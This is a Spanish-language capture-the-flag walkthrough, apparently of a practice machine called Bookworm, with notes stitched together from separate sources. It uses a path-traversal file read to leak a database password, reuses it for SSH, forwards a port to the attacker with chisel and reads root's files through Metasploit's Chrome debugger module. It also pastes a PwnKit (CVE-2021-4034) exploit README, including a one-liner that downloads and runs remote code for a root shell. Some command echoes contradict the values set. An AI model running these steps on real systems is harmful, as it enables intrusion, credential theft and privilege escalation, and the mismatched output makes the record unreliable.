Este es el contenido del archivo *index.js*. Algo interesante es que apunta a un archivo que se llama *database*, así que realizamos otra vez el LFI.

```
#Modificamos el script.js
```

```
".&bookIds=../../../../../../../../proc/self/cwd/
database.js"
```

Obtenemos la petición del archivo *databases.js*.

```
mv temp1897 zip03.zip
unzip zip03.zip
Archive:  zip03.zip
replace Unknown.pdf? [y]es, [n]o, [A]ll, [N]one, [r]ename: r
new name: database
  inflating: database
```

```
cat database
```

```
const { Sequelize, Model, DataTypes } =
require("sequelize");

//const sequelize = new
Sequelize("sqlite::memory::");
const sequelize = new Sequelize(
  process.env.NODE_ENV === "production"
    ? {
        dialect: "mariadb",
        dialectOptions: {
          host: "127.0.0.1",
          user: "bookworm",
          database: "bookworm",
          password: "FrankTh3JobGiver",
        },
          logging: false,
      }
    : "sqlite::memory::"
);
```

#Got creeds:
database: bookworm
passwd: FrankTh3JobGiver

intrusion

Obtenemos las credenciales del usuario **Frank**, ya que en el passwd el usuario **Bookworm** no existe.

```
#Con la información de los usuarios /etc/passwd podemos deducir que la clave es del usuario Frank.
frank:x:1001:1001:,,,:/home/frank:/bin/bash

#Creeds:
database: bookworm
username: Frank
passwd: FrankTh3JobGiver

ssh frank@10.10.11.215
cat user.txt
```

privilege_escalation

Si miramos los procesos activos, el Google Chrome nos llama mucho la atención, ya que está en modo *Debugging*.

```
ps faux | grep google-chrome
frank       27849  0.0  0.0   6432   720 pts/0    S+   15:15   0:00              \_ grep --color=auto google-chrome
james       27752  0.6  2.8 34024868 115272 ?     Ssl  15:13   0:00  \_ /usr/bin/google-chrome --allow-pre-commit-input --disable-background-networking --disable-background-timer-throttling --disable-backgrounding-occluded-windows --disable-breakpad --disable-client-side-phishing-detection --disable-component-extensions-with-background-pages --disable-component-update --disable-default-apps --disable-dev-shm-usage --disable-extensions --disable-features=Translate,BackForwardCache,AcceptCHFrame,MediaRouter,OptimizationHints --disable-hang-monitor --disable-ipc-flooding-protection --disable-popup-blocking --disable-prompt-on-repost --disable-renderer-backgrounding --disable-sync --enable-automation --enable-blink-features=IdleDetection --enable-features=NetworkServiceInProcess2 --export-tagged-pdf --force-color-profile=srgb --metrics-recording-only --no-first-run --password-store=basic --use-mock-keychain --headless --hide-scrollbars --mute-audio about:blank --no-sandbox --disable-background-networking --disable-default-apps --disable-extensions --disable-gpu --disable-sync --disable-translate --hide-scrollbars --metrics-recording-only --mute-audio --no-first-run --safebrowsing-disable-auto-update --remote-debugging-pipe --user-data-dir=/tmp/puppeteer_dev_chrome_profile-zAD1WR

#Buscamos por que puerto está ejecutandose google-chrome y vemos el puerto 3306.

netstat -lntp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3001          0.0.0.0:*               LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
```

Realizamos un Port Forwarding para poder explotarlo mediante *chisel*.

https://github.com/jpillora/chisel/releases/download/v1.8.1/chisel_1.8.1_linux_amd64.gz

```
scp chisel frank@10.10.11.215:/home/frank
frank@10.10.11.215's password:
chisel                                                                  100% 8188KB 768.4KB/s   00:10

--chisel server:

chisel server -p 1234 --reverse

--chisel client:
frank@bookworm:~$ chmod +x chisel
frank@bookworm:~$  ./chisel client 10.10.14.62:1234 R:40633:127.0.0.1:3306
```

metasploit

Buscamos en Metasploit si hay algo contemplado sobre Google Chrome en modo debugger y en efecto hay un *Arbitrary File Read*.

```
msf6 > search chrome debug

Matching Modules
================

   #  Name                                Disclosure Date  Rank    Check  Description
   -  ----                                ---------------  ----    -----  -----------
   0  auxiliary/gather/chrome_debugger  2019-09-24       normal  No     Chrome Debugger Arbitrary File Read / Arbitrary Web Request


Interact with a module by name or index. For example info 0, use 0 or use auxiliary/gather/chrome_debugger

cat credentials.txt
[*] exec: cat credentials.txt

bookworm -> FrankTh3JobGiver
msf6 auxiliary(gather/chrome_debugger) > set FILEPATH /root/root.txt
FILEPATH => /root/.ssh/id_rsa
msf6 auxiliary(gather/chrome_debugger) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 auxiliary(gather/chrome_debugger) > set RPORT 3306
RPORT => 34839
msf6 auxiliary(gather/chrome_debugger) > run
[*] Running module against 127.0.0.1

[*] Attempting Connection to ws://127.0.0.1:40633/devtools/page/71D41CD17C47E63ABC4568C1CE507AF3
[*] Opened connection
[*] Attempting to load url file:///root/root.txt
[*] Received Data
[*] Sending request for data
[*] Received Data
[+] Stored file:///root/root.txt at /home/mrx/.msf4/loot/XXXXXXXXXXXX_default_127.0.0.1_chrome.debugger._778257.txt
[*] Auxiliary module execution completed
msf6 auxiliary(gather/chrome_debugger) >
```

vector0

```
ps -aufx | grep 'debug'
root         806  0.0  0.2 241268 11208 ?        Ssl  13:19   0:00 /usr/lib/policykit-1/polkitd --no-debug
```

```
pkexec --version
pkexec version 0.105
```

https://github.com/berdav/CVE-2021-4034

```
./cve-2021-4034
gllB: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
pkexec --version |
       --help |
       --disable-internal-agent |
       [--user username] PROGRAM [ARGUMENTS...]

See the pkexec manual page for more details.
```

errors

## https://sploitus.com/exploit?id=7692DA4F-829F-584A-833E-69C1D811E9DE
# CVE-2021-4034
One day for the polkit privilege escalation exploit

Just execute `make`, `./cve-2021-4034` and enjoy your root shell.

The original advisory by the real authors is [here](https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt)

## PoC
If the exploit is working you'll get a root shell immediately:

```bash
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
```

Updating polkit on most systems will patch the exploit, therefore you'll get the usage and the program will exit:
```bash
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]

See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$
```

## Dry Run
To not execute a shell but just test if the system is vulnerable compile the `dry-run` target.

If the program exit printing "root" it means that your system is vulnerable to the exploit.
```bash
vagrant@ubuntu-impish:~/CVE-2021-4034$ make dry-run
...
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
root
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
1
```

If your system is not vulnerable it prints an error and exit.
```bash
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]

See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
0
```

## About Polkit pkexec for Linux

Polkit (formerly PolicyKit) is a component for controlling system-wide privileges in Unix-like operating systems. It provides an organized way for non-privileged processes to communicate with privileged processes. It is also possible to use polkit to execute commands with elevated privileges using the command pkexec followed by the command intended to be executed (with root permission).

# One-liner commands

You can easily exploit the system using a single script, downloadable and executable with this command:

```sh
eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
```

```bash
vagrant@ubuntu-impish:~/CVE-2021-4034$ whoami
vagrant
vagrant@ubuntu-impish:~/CVE-2021-4034$ eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
# whoami
root
```

# Mitigation

If no patches are available for your operating system, you can remove the SUID-bit from pkexec as a temporary mitigation.

```bash
# chmod 0755 /usr/bin/pkexec
```

The exploit then will fail complaining that `pkexec` must have the setuid bit enabled.

```bash
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ sudo chmod 0755 /usr/bin/pkexec
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ ./cve-2021-4034
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
pkexec must be setuid root
```